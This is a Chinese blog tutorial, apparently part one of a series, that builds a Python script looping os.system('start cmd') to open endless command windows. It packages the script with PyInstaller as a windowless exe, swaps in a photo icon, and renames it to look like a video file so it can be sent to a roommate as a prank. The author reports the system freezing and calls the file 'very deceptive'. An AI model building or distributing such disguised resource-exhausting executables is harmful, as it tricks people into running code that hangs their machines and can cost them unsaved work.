Python-利用Pyinstaller,os库编写一个无限弹窗整蛊文件(上)
前言:本篇文章我们将学习一下如何利用你室友的这个习惯整蛊一下Ta,同时更重要的是借此提醒Ta要注意要做好个人信息的防泄露措施......(声明:本次教学无任何不良引导)
编程思路:本次编程中无限弹窗的实现我们需要调用Python中的标准库os库,后面将Python初始文件编译为exe文件需要调用Python中的第三方库Pyinstaller,最后我们再给exe文件更换图标时同样需要调用Pyinstaller......在整个编程过程中,我们还会学习如何新建矢量图图片(图片格式为".ico"或".icon"的图片),以及给exe文件更换图标的其它方法)
import os
一,无限弹窗的实现
无限弹窗即系统不断地新建窗口,因此本次编程中我们将调用os库中的system属性来实现这个效果(os是Python中的一个进程管理库,它允许启动系统中的其他程序,如使用os.system()函数执行shell命令。)。"start cmd"是system属性中的一个方法,它将打开cmd命令窗口。(如下所示)
while True:
os.system('start cmd')
这段代码虽然很简短,但是功能强大,它是本次程序实现无限弹窗的主体。
二,完整代码展示
import os
while True:
os.system('start cmd')
三,准备美图
首先我们需要准备一张或多张美图(可以在任何地方找到)。后面我们会发现这些图片绝大多数为".jpg"或".png"格式,这并不是我们所想要的(当然,如果你找到了".ico"或".icon"格式的图片,那么就可以直接用了),因此我们接下来需要做的就是将".jpg"或".png"格式的图片转换为".ico"或".icon"格式的图片。(这里我先介绍一种最简单,最实用,同时也是我亲测有效的方法)
我们准备好了图片,接着我们查看一下图片的格式。发现其为".jpg"格式(IMG_20241021_121741.png),因此我们需要将其转换为".ico"或".icon"的格式。
四,将美图转换为所需的".ico"或".icon"格式
我们先点击电脑左下方"开始"。
接着在上方的搜索框中输入"画图"。
这时候我们会发现搜索框下方会出现多个搜索结果,我们找到颜料盘一样外观的应用"画图",点击打开。
接着我们在进入"画图"后,点击"文件"->"打开"(如下所示)
找到我们之前美图文件的存放位置,选中图片->"打开"。
接着我们就可以按照我们的审美标准对图片进行包括裁剪,擦除,修边等操作了(这个内容太多,我就不再展开了,请大家自行操作)。
编辑好图片后,我们点击"文件"->"另存为"->"其它格式"。
然后我们在文件名之后添加".ico",接着点击保存(不用管下方的"保存类型")。
然后我们返回之前美图文件的存放位置,发现多了一个新图片。
我们点击查看新多出来的图片的格式,发现其为"ico"格式(图片类型:ICO),这就说明我们的图片格式转换成功了。
五,将初始文件编译为exe文件并更换图标
Pyinstaller库的准备工作就不再作过多讲解了,新手小白可以看我的前两篇文章,里面有详细步骤。
我们将转换为".ico"格式的图片复制后放到Pycharm中Python项目1(pythonProject1)下(如下所示)。
接着打开Pycharm终端,输入"pyinstaller -F -w -i xxx.ico xxx.py"(我的xxx.ico为IMG_20241021_121741.ico,xxx.py为cmd.py)。(如下所示)(注意:是"-F -w -i")
回车等待一段时间,当看到命令执行结果为"......completed successfully"时,代表程序已经打包为exe文件,且文件图标已换为".ico"格式的样式。(如下所示)
我们返回Pycharm主界面,发现pythonProject1下面多了一个文件夹dist,我们点开,发现里面有一个exe文件。(如下所示)
接着我们将该exe文件复制后放到系统文件下,发现文件的图标已经变为我们转换格式得到的"IMG_20241021_121741.ico"图片了。(如下所示)
我们接着将其重命名为"xx视频"之类的。(如下所示)
我们尝试一下将这个文件转发给其他人,看看效果如何。(如下所示)
OK,效果非常好,非常具有迷惑性,哈哈哈!!!
我们来看一下运行效果,嘿嘿嘿
(如下所示)
运行之后电脑风扇直接起飞,CPU负载过大,系统卡顿严重......
将这个文件发给你们宿舍里常常喜欢一个人偷偷观看"学习资料"的室友,绝对会让Ta破大防,同时也能让Ta以后警惕隐藏在其中的恶意程序,加强个人信息及财产的防护。
(解决办法:关机或打开任务管理器终止程序)
后面我会对本篇文章中的相关内容进行拓展讲解
感谢你的交流指教,我是闪云-微星,我们下期不见不散!